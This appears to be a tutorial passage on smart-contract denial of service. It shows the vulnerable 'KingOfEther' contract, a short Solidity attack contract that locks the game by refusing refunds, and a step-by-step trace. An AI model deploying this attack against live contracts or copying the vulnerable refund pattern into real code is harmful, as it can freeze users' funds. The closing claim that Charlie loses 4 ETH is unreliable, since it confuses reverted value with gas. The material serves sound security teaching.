A Denial of Service (DoS) attack makes a smart contract unusable or prevents legitimate users from interacting with it. Unlike traditional DoS attacks that overwhelm servers, smart contract DoS attacks exploit code logic to permanently break functionality.
// Contract PUSHES funds to users
function refund() public {
user.call{value: amount}(""); // Contract initiates transfer
// If this fails, entire transaction fails!
}
// Users PULL funds from contract
function withdraw() public {
// Users initiate their own transfers
// One user's failure doesn't affect others
}
contract KingOfEther {
address public king;
uint256 public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
// ❌ VULNERABLE: Sending Ether to previous king
(bool sent,) = king.call{value: balance}("");
require(sent, "Failed to send Ether"); // <- Attack point!
balance = msg.value;
king = msg.sender;
}
}
The Problem Chain:
1. Contract tries to refund previous king
2. If refund fails → entire transaction reverts
3. Attacker can intentionally make refund fail
4. Result: No one can ever claim throne again!
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// ❌ NO fallback or receive function
// Contract CANNOT receive Ether!
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
// Now Attack is king, but can't receive refunds
}
}
INITIAL STATE:
├─ King: Alice
├─ Balance: 1 ETH
└─ Status: Working ✅
STEP 1: Bob claims throne (2 ETH)
├─ Refund Alice: 1 ETH ✅
├─ New King: Bob
├─ Balance: 2 ETH
└─ Status: Working ✅
STEP 2: Attack contract claims throne (3 ETH)
├─ Refund Bob: 2 ETH ✅
├─ New King: Attack
├─ Balance: 3 ETH
└─ Status: Working ✅
STEP 3: Charlie tries to claim throne (4 ETH)
├─ Try to refund Attack: 3 ETH
│ └─ Attack has no fallback/receive
│ └─ Transfer FAILS ❌
├─ require(sent) reverts entire transaction
├─ King: Still Attack
└─ Status: PERMANENTLY BROKEN 🔴
RESULT: Game is frozen forever!
┌─────────────────────────────────────────┐
│ Charlie sends 4 ETH to claimThrone() │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ Check: msg.value > balance? │
│ 4 ETH > 3 ETH ✅ │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ Try to refund previous king (Attack) │
│ king.call{value: 3 ETH}("") │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ Attack Contract: │
│ ❌ No receive() function │
│ ❌ No fallback() function │
│ ❌ Cannot accept Ether │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ Transfer FAILS │
│ sent = false │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ require(sent, "Failed to send Ether") │
│ REVERTS entire transaction ❌ │
└─────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────┐
│ Charlie loses 4 ETH gas fees │
│ King remains: Attack │
│ Contract permanently locked 🔒 │
└─────────────────────────────────────────┘